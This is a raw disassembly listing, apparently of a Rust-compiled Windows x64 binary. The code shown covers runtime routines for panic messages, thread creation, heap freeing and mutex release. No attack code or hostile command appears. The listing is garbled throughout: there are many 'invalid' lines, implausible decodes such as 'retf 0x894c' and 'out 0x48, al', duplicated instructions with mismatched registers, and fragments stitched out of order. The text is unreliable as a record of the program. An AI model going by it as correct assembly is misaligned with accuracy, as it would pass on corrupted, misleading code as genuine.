mov bh, 0xd2
sub edx, r11d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rbp + rax - 0x4a], dx
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
add eax, 0xfffffffe
dec byte [rax - 0x77]
retf 0x894c
mov rdx, rcx
mov edx, ecx
mov rcx, r10
cmp rdx, 0xa
cmp edx, 0xa
jae 0x1400df3e7
or dl, 0x30
mov byte [rbp + rax - 0x49], dl
dec rax
jmp 0x1400df3f5
std
add byte [rax], al
add byte [rax], al
mov eax, dword [rax]
mov r9d, 0x81
mov ecx, 0x81
invalid
invalid
add byte [rax], al
mov eax, dword [rax]
mov r9d, 0x81
mov ecx, 0x81
mov ecx, 0x81
add dword [rax], 0x89410000
mov r8d, eax
nop word cs:[rax + rax]
nop word cs:[rax + rax]
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
leave
shr r8d, 4
mov r9d, eax
mov ecx, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx ecx, dl
mov dh, 0xca
movzx r10d, r11b
mov dh, 0xd3
cmovb r10d, r9d
cmovb edx, ecx
mov byte [rbp + rcx - 0x4a], r10b
lea r9, [rcx - 1]
inc dword [rbx - 0x76bbef08]
invalid
jae case.0x1400dbd41.111
inc dword [rbx - 0x76bbef08]
sal byte [rbx - 0x37], 0xeb
mov r8, qword [rax]
jmp 0x1400df397
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
pop rcx
invalid
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
movzx ecx, dl
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x4a], r10b
lea r9, [rcx - 1]
lea ecx, [rcx - 1]
lea ecx, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
mov eax, eax
mov eax, eax
jae 0x1400df360
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400df431
add byte [rax + 0x81], bh
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb8
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x1401721e0]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400df41f
movzx edx, word [r9 + rdx*2]
mov word [rbp + rax - 0x4a], dx
add rax, 0xfffffffffffffffe
test r8d, r8d
setns dl
lea r8, [rax + rbp]
add r8, 0xffffffffffffffb8
mov r9d, 0x27
sub r9, rax
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r8
mov r8d, 1
xor r9d, r9d
call fcn.140013020
nop
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
or ecx, esp
int3
sub rsp, 0xa0
lea rbp, [rsp + 0x80]
mov rsi, rdx
mov rdi, rcx
lea rcx, [rbp - 0x18]
call 0x18a087dc8
mov eax, esi
iretd
call 0x18a087dc8
mov eax, esi
call fcn.1400d8190
movzx edx, byte [rbp - 0x18]
call 0x1385b7fd7
call 0x1385b7fd7
mov rax, qword [rbp + 8]
lea r8, [0x140178df4]
lea eax, [0x140178df4]
lea eax, [0x140178df4]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov r8, rdi
jmp r9
invalid
add rcx, 4
jmp 0x1400df4e4
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
add ecx, 8
jmp 0x1400df4e4
mov ecx, 6
jmp 0x1400df4e4
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x1400df4e4
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
jb 0x1400df55e
add rcx, rdi
mov r8, rcx
test rdx, rdx
je 0x1400df509
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x1400df50b
xor eax, eax
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rsi
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm1
mov rcx, qword [rbp + 8]
mov qword [rbp - 0x28], rcx
mov byte [rbp - 0x1e], al
mov word [rbp - 0x20], 0x200
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x58]
call fcn.1400dcb40
cmp byte [rbp - 0x18], 9
mov rdx, qword [rbp - 8]
jne 0x1400df551
mov rax, qword [rbp - 0x10]
jmp 0x1400df553
xor eax, eax
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1401082c0
int3
lea rcx, [rbp - 0x20]
mov rdx, rbx
mov r8, rdi
call fcn.1400db760
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
add al, 0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
mov bh, 0
add byte [rax], al
mov rbx, rax
mov qword [rax], r14
mov dword [rax], esi
mov dword [rax], esi
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x1400df8a0]
xor edi, edi
xor ecx, ecx
mov rdx, rsi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1400df7d5
mov rcx, qword [rbx]
mov qword [rbp - 0x20], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 0x20]
je 0x1400df7ae
cmp qword [rax + 0x10], 0x11
jae 0x1400df797
mov r8, qword [rbp - 0x10]
jmp 0x1400df79f
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
div ecx
imul r8, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x1400dfae7
xor edx, edx
div rcx
mov rcx, rax
jmp 0x1400dfaed
xor edx, edx
div ecx
mov ecx, eax
add rcx, r8
mov rax, rcx
shr rax, 9
movabs rdx, 0x44b82fa09b5a53
mul rdx
mov rax, rdx
shr rax, 0xb
imul edx, eax, 0x3b9aca00
sub ecx, edx
mov edx, ecx
add rsp, 0x48
pop rsi
pop rbp
ret
add eax, dword [rax]
shl rax, 0x20
or rax, 2
enter 0x4802, 0xffffffffffffff89
invalid
invalid
lea rax, str.library_std_src_syspalwindows_time.rs
add eax, 0x6afab
enter 0x4802, 0xffffffffffffff89
invalid
add eax, 0x6afab
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, str.P6_r_
lea r8, [rbp - 0x10]
mov edx, 0x2b
call fcn.140108600
ud2
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x40], esi
mov rax, qword [rbp + 0x1620]
shl rax, 1
test rax, rax
je 0x1400e0ff6
mov r8, qword [rbp + 0x1628]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test dword [rax], ebp
invalid
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add eax, dword [rax]
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x16c8], rax
mov byte [rbp + 0x1754], 0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x40], xmm6
cmp qword [rbp + 0x1730], 0
je 0x1400e10c1
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x1738]
cmp byte [rdi], dl
add byte [rax], al
cmp byte [rdi], dl
add byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x16c8], rax
mov byte [rbp + 0x1754], 0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rsi, qword [rbp + 0x16c8]
cmp byte [rbp + 0x1754], 0
je 0x1400e1165
cmp qword [rbp + 0x1490], 0
je 0x1400e1141
mov r8, qword [rbp + 0x1498]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x1720], rsi
mov byte [rbp + 0x1757], 0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1720], rsi
mov byte [rbp + 0x1757], 0
add byte [rax], al
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
pop rax
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rcx, qword [rbp + 0x1710]
lea edx, [rax]
invalid
add byte [rax], al
call qword [sym.imp.kernel32.dll_ReleaseMutex]
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea edx, [rax]
invalid
sub dword [rsp + 0x40], esi
mov rcx, qword [rbp + 0x1728]
call qword [sym.imp.kernel32.dll_ReleaseMutex]
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], 0
add byte [rax - 0x39], cl
invalid
mov eax, dword [rcx + 8]
cmp byte [rax], 0
jne 0x1400e1399
dec dword [rax - 0x7d]
jge 0x1400e1349
add byte [rax - 0x75], cl
pop rsi
sbb byte [rax - 0x75], cl
add ecx, dword [rax - 0x7b]
ror byte [rdi], 0x84
invalid
mov r10b, 1
jmp 0x1400e1cf5
loopne 0x1400e1bb9
lea ecx, [rcx + rbx]
cmp r9, rdx
jae 0x1400e1cf2
mov r14, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x40]
mov r15, qword [rbp - 0x30]
lea r12, [rbx - 1]
jmp 0x1400e1b9c
add rcx, rax
lea r9, [rcx + r11]
xor r10d, r10d
cmp r9, rdx
jae 0x1400e1cf5
movzx r9d, byte [r8 + r9]
bt r14, r9
jae 0x1400e1b89
lea r9, [r8 + rcx]
mov rsi, rbx
nop
cmp rsi, rax
jae 0x1400e1bde
mov r10, rsi
add rsi, rcx
add esi, ecx
cmp rsi, rdx
jae 0x1400e1de2
lea rsi, [r10 + 1]
movzx r13d, byte [rdi + r10]
cmp r13b, byte [r9 + r10]
je 0x1400e1bb0
sub rcx, rbx
add rcx, r10
inc rcx
jmp 0x1400e1b8c
mov r10, rbx
nop word cs:[rax + rax]
sub r10, 1
jb 0x1400e1731
cmp r12, rax
jae 0x1400e1dc1
lea r9, [r10 + rcx]
cmp r9, rdx
jae 0x1400e1dd3
movzx esi, byte [rdi + r10]
cmp sil, byte [r8 + r9]
invalid
je 0x1400e1bf0
or byte [rbp + rdx*8 + 0x4c], dh
add ecx, edi
add rcx, r15
jmp 0x1400e1b8c
invalid
invalid
call fcn.140110880
mov r10d, eax
or r10b, bl
and r10b, 1
jmp 0x1400e1cf5
movzx esi, byte [rcx + rax + 1]
add dword [rcx], eax
and esi, 0x3f
cmp r10b, 0xe0
jb case.0x1400d8128.247
movzx r10d, byte [rcx + r8 + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
or edx, esi
or edx, esi
cmp r11b, 0xf0
cmp r11b, 0xf0
cmp bl, 0xf0
jb 0x1400e1cdb
movzx r11d, byte [rcx + r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r11d, 0x3f
jrcxz 0x1400e1cf7
jrcxz 0x1400e1cf7
invalid
or r11d, r10d
or ebx, edx
or r9d, r11d
jmp 0x1400e1ce2
mov ecx, edi
mov rdx, r14
call fcn.1401082d0
add al, byte [rax]
add al, byte [rax]
shl r9d, 6
shl ecx, 6
or r9d, esi
int1
jmp 0x1400e1ce2
shl r9d, 0xc
or r9d, r10d
mov r10b, 1
test al, al
jne 0x1400e1cf5
cmp r9d, 0x110000
jne 0x1400e1d3b
add byte [rbp + 0x49], dh
xor r10d, r10d
mov eax, r10d
movaps xmm6, xmmword [rbp + 0x30]
ror byte [rdi], 1
sub byte [rbp + 0x30], dh
movaps xmm7, xmmword [rbp + 0x40]
movaps xmm8, xmmword [rbp + 0x50]
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm9, xmmword [rbp + 0x60]
movaps xmm10, xmmword [rbp + 0x70]
movaps xmm11, xmmword [rbp + 0x80]
sub byte [rbp + 0x80], bl
movaps xmm12, xmmword [rbp + 0x90]
add byte [rax], al
invalid
add byte [rax], al
movaps xmm13, xmmword [rbp + 0xa0]
sub byte [rbp + 0xa0], ch
lodsd eax, dword [rsi]
movabs al, byte [0x138c48148000000]
add byte [rax], al
add rsp, 0x138
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, 1
cmp r9d, 0x80
jb 0x1400e1d67
add byte [rcx - 0x7f], al
stc
add byte [rax], 0
add byte [rdx + 0x1e], dh
mov eax, 2
cmp r9d, 0x800
or byte [rax], al
invalid
jb 0x1400e1d67
cmp r9d, 0x10000
mov eax, 4
sbb rax, 0
add r8, rax
je 0x1400e1da4
cmp r8, rdx
jae 0x1400e1da2
sal byte [rbx + 0x31], 1
cmp byte [rcx + r8], 0xbf
jg 0x1400e1da4
lea rax, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1401087e0
push 2
invalid
push 2
add byte [rcx + rax - 7], cl
add rcx, r15
cmp rdx, rcx
cmova rcx, rdx
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_strpattern.rs
call fcn.1401082d0
add byte [rbp - 0x2c], dh
add byte [rbp - 0x2c], dh
cmp r8, rdx
je 0x1400e1cf5
movzx eax, byte [rcx + r8]
test al, al
jns 0x1400e1cf5
invalid
invalid
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_strpattern.rs
mov rcx, r10
mov rdx, rax
call fcn.1401082d0
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_strpattern.rs
add eax, 0x667ae
mov rcx, r9
call fcn.1401082d0
add rcx, rbx
cmp rdx, rcx
cmova rcx, rdx
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_strpattern.rs
call fcn.1401082d0
int3
mov dword [rbp - 8], 0xfffffffe
mov rax, rdx
mov qword [rbp - 0x30], rdx
lea rdx, [rbp - 0x28]
movups xmm0, xmmword [r8]
movups xmmword [rbp - 0x28], xmm0
adc dword [rbp - 0x28], eax
adc dword [rbp - 0x28], eax
fmul dword [rbp - 0x75]
mov r8, qword [r8 + 0x10]
mov qword [rbp - 0x18], r8
mov dword [rbp - 0x18], eax
adc byte [rcx + rcx*4 + 0x45], cl
call 0x181c42da7
and byte [rax - 0x75], cl
mov rsi, qword [rcx]
xor r9d, r9d
mov dword [rbp - 0x18], eax
movzx r8d, byte [rcx + 0x20]
mov rsi, qword [rcx]
xor r9d, r9d
movabs r10, 0x8000000000000000
cmp rsi, r10
mov qword [rbp - 0x10], rcx
add byte [rax + 0x48d6394c], al
or byte [rcx + rdi - 0x2a], 0x48
mov dword [rbp - 0x10], ecx
cmovne r9, rcx
mov rcx, rax
call fcn.1400d7510
shl rsi, 1
out 0x48, al
test esi, esi
out 0x48, al
test esi, esi
je 0x1400e1eaa
mov rcx, qword [rbp - 0x10]
mov r8, qword [rcx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov ebx, eax
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, ebx
add al, 3
add byte [rcx - 0x3b7cb728], cl
push rax
add rsp, 0x50
pop rbx
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x50]
mov rcx, qword [rbp - 0x10]
call fcn.1400e1e00
nop
add rsp, 0x20
add esp, 0x20
and byte [rbx + 0x5e], bl
pop rbx
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
or r14b, r15b
invalid
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov dword [rbp], 0
add byte [r8], r8b
add byte [rax], al
add dh, al
add al, 0
add byte [r8], r8b
add byte [rax], al
add dh, al
add al, 0
mov qword [rbp - 0x18], rdx
lea rax, [rbp - 0x18]
mov qword [rbp - 0x28], rax
lea rax, [fcn.140012f00]
dec dword [rax - 0x77]
loopne case.0x1400dc4eb.87
lea eax, [0x140149d00]
dec dword [rax - 0x77]
loopne case.0x1400dc4eb.87
lea eax, [0x140149d00]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 2
mov qword [rbp - 0x38], 0
mov dword [rbp - 0x38], 0
add byte [rax], al
add byte [rax], al
lea rax, [rbp - 0x28]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
mov rax, rbp
mov eax, ebp
mov eax, ebp
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
mov dword [rbp - 8], 0
invalid
mov dword [rbp - 8], 0
lea rdx, [0x140148b40]
lea rcx, [rbp - 0x10]
lea ecx, [rbp - 0x10]
lea ecx, [rbp - 0x10]
lea r8, [rbp - 0x58]
call fcn.140013bb0
mov rcx, qword [rbp - 8]
cmp byte [rbx + rsi*8], bl
sbb al, 0xf3
dec dword [rax - 0x75]
clc
test al, al
je 0x1400e1f98
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x10]
jmp 0x1400e1fa1
test rcx, rcx
je 0x1400e1fa6
lea rcx, [rbp - 8]
call case.0x140019144.3166
call qword [rax - 0x6f3b7eb8]
add byte [rax], al
add byte [rbp - 0x3d], bl
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rax - 0x7d], cl
jge case.0x1400dc4eb.88
invalid
je 0x1400e1fd1
nop
add rsp, 0x90
pop rbp
ret
add byte [rax], 0
add byte [rax - 0x7d], cl
jge case.0x1400dc4eb.88
add byte [rcx + rcx + 0x48], dh
lea ecx, [rbp - 8]
lea rcx, [rbp - 8]
call case.0x140019144.3166
nop
add rsp, 0x20
pop rbp
ret
lea rax, [0x1400d5d50]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rcx
lea rcx, [0x1400e26a0]
mov qword [rbp - 8], rcx
clc
mov qword [rbp], rdx
mov qword [rbp + 8], rax
lea rax, str.thread__panicked_at_:_n_n
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 4
mov qword [rbp - 0x38], 0
enter 0, 0
invalid
mov dword [rbp - 0x38], 0
enter 0, 0
add byte [rax - 0x73], cl
loopne 0x1400e2097
lea rax, [rbp - 0x20]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x48], eax
mov qword [rbp - 0x40], 3
mov r14, qword [r8 + 0x48]
lea rdx, [rbp - 0x58]
mov rcx, rsi
call r14
mov qword [rbp - 0x28], rax
test rax, rax
invalid
je 0x1400e207a
lea rcx, [rbp - 0x28]
call case.0x140019144.3166
mov rax, qword [rbx + 0x18]
mov eax, dword [rbx + 0x18]
movzx eax, byte [rax]
lea rcx, [0x140178e10]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
invalid
add eax, ecx
enter 0xffffffffffffe0ff, 0x48
mov ecx, esi
jmp rax
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
call fcn.1400e2730
mov qword [rbp - 0x20], rax
test rax, rax
jne 0x1400e20c1
jmp case.0x1400e208f.3
mov rcx, rsi
mov ecx, esi
mov rdx, rdi
mov r8b, 1
call fcn.1400e2730
mov qword [rbp - 0x20], rax
test rax, rax
je case.0x1400e208f.3
lea rcx, [rbp - 0x20]
jmp 0x1400e210c
xor eax, eax
xchg byte [0x140182018], al
test al, al
je case.0x1400e208f.3
lea rax, str.note:_run_with__RUST_BACKTRACE1__environment_variable_to_display_a_backtrace_n
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
mov qword [rbp - 0x10], 8
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rdx, [rbp - 0x20]
mov rcx, rsi
call r14
mov qword [rbp - 0x58], rax
test rax, rax
je case.0x1400e208f.3
lea rcx, [rbp - 0x58]
call case.0x140019144.3166
nop
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov dword [rbp - 8], 0
movzx eax, byte [0x140182222]
mov rax, qword [rdx + 0x48]
mov byte [rbp - 1], r8b
lea rdx, [rbp - 1]
mov qword [rbp - 0x18], rdx
lea rdx, [0x1400dfc10]
mov qword [rbp - 0x10], rdx
lea rdx, [0x140172b18]
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x28], 0
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 1
lea rdx, [rbp - 0x48]
call rax
cmp byte [rbp - 8], 0
jne 0x1400e27db
mov rcx, qword [0x140182308]
shl rcx, 1
test rcx, rcx
jne case.0x1400d8128.250
xor ecx, ecx
xchg byte [0x140182221], cl
cmp cl, 2
jne 0x1400e27fb
lea rcx, [0x140182221]
mov rsi, rax
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea eax, [0x140182221]
mov rsi, rcx
mov rcx, rax
mov ebx, r8d
mov rdi, rdx
call fcn.1401101b0
mov rdx, rdi
mov r8d, ebx
fmul dword [rax - 0x77]
int1
fmul dword [rax - 0x77]
int1
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400e276c
mov rsi, rcx
mov ebx, r8d
ret
mov rdi, rdx
call fcn.140110270
mov rdx, rdi
mov r8d, ebx
mov rcx, rsi
xor al, 1
mov dword [rbp - 8], eax
jmp 0x1400e2773
ret
mov rsi, rax
call fcn.140110270
mov ecx, eax
mov rax, rsi
test cl, cl
jne 0x1400e27db
mov byte [0x140182222], 1
jmp 0x1400e27db
ret
int3
mov r9, rcx
mov ecx, 0xfffffff4
pop rbp
jmp 0x1400d3a40
invalid
dec esp
int3
int3
push rbp
mov rbp, rsp
mov r9, rcx
add rdx, 0xfffffffffffffff0
add edx, 0xfffffff0
add edx, 0xfffffff0
shl r8, 4
nop
test r8, r8
je 0x1400e28fb
invalid
invalid
mov eax, dword [rdx + 0x10]
add rdx, 0x10
add r8, 0xfffffffffffffff0
test rax, rax
je 0x1400e28e0
invalid
jmp 0x1400e293e
mov rdx, qword [rdx + 8]
jmp 0x1400e2902
mov edx, 1
xor eax, eax
mov ecx, 0xfffffff4
mov r8, rax
mov eax, eax
mov eax, eax
pop rbp
jmp 0x1400d3a40
clc
lea rcx, [rbp - 0x18]
call fcn.1400e2950
int3
and al, 0x20
call fcn.1400e2960
int3
and al, 0x60
mov qword [rbp - 8], 0xfffffffffffffffe
mov rax, qword [rcx]
mov r8, qword [rax + 8]
or byte [rax - 0x75], cl
push rax
sbb byte [rcx - 0x7d], cl
clc
invalid
je 0x1400e2996
invalid
or byte [rax - 0x75], cl
push rax
sbb byte [rcx - 0x7d], cl
clc
add dword [rbx + rdx + 0x4d], esi
test eax, eax
test r8, r8
jne 0x1400e29d9
test rdx, rdx
jne 0x1400e29d9
mov eax, 1
xor edx, edx
jmp 0x1400e29a5
test rdx, rdx
jne 0x1400e29d9
mov rdx, qword [rax]
mov edx, dword [rax]
mov rax, qword [rdx]
mov rdx, qword [rdx + 8]
invalid
or byte [rax - 0x77], cl
fmul dword [r8 - 0x77]
push rbp
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
loopne 0x1400e29f6
mov eax, dword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rax + 0x10]
movzx ecx, byte [rax + 0x20]
movzx eax, byte [rax + 0x21]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], cl
lea rdx, [0x140149f10]
lea rcx, [rbp - 0x28]
call fcn.1400e2a60
loopne 0x1400e29f6
mov qword [rbp - 0x10], rax
movabs rax, 0x8000000000000000
mov qword [rbp - 0x28], rax
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rax + 0x10]
movzx ecx, byte [rax + 0x20]
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
lea rdx, fcn.1400e1e00
lea rcx, [rbp - 0x28]
call fcn.1400e2a60
ud2
xor byte [rax - 0x73], cl
push 0x60
mov rax, qword [rbp - 0x28]
shl rax, 1
test rax, rax
jne 0x1400e2a40
add rsp, 0x30
pop rbp
ret
mov r8, qword [rbp - 0x20]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x30
pop rbp
ret
push r14
push rsi
push rdi
push rbx
sub rsp, 0x110
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x88], 0xfffffffffffffffe
invalid
invalid
dec dword [rdi]
mov dh, 0x85
call 0x14f0e2a88
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9d
loopne case.0x1400db7f3.156
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9d
loopne case.0x1400db7f3.156
add byte [rax], al
lock inc qword [0x140182308]
or dword [rax], eax
add byte [rdi], cl
mov ds, ebp
invalid
jle 0x1400e3179
mov rdi, rdx
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
add byte [rax - 0x75], cl
or al, 0xca
cmp byte [rcx + 0x80], 0
jne 0x1400e3206
mov ecx, dword [0x140182314]
clc
or dword [rax], eax
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
add byte [rax - 0x75], cl
or al, 0xca
inc qword [rcx + 0x78]
js 0x1400e2ada
add byte [rax], al
mov byte [rcx + 0x80], 1
mov qword [rbp + 0x20], 1
add dword [rax + 0x1000000], 0x2045c748
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax - 0x39], ecx
and byte [r9], r8b
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x140149f60]
lea rcx, [0x140149f60]
lea ecx, [0x140149f60]
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
cmp byte [r8 + 0x4588405d], r9b
mov eax, dword [0x140182228]
sub byte [r9 + rcx*4 + 0x45], r9b
xor byte [rcx + rcx*4 + 0x4d], cl
cmp byte [r8 + 0x4588405d], r9b
cmp byte [r8 + 0x4588405d], r9b
mov eax, dword [0x140182228]
or dword [rax], eax
cmp eax, 0x3ffffffd
ja 0x1400e2b1e
invalid
or eax, 0xf001488d
cmpxchg dword [0x140182228], ecx
or al, 0xf7
or dword [rax], eax
lea ecx, [rax + 1]
lock cmpxchg dword [0x140182228], ecx
or al, 0xf7
or dword [rax], eax
or al, 0xf7
or dword [rax], eax
je 0x1400e2b23
call fcn.140110a50
movzx eax, byte [0x140182230]
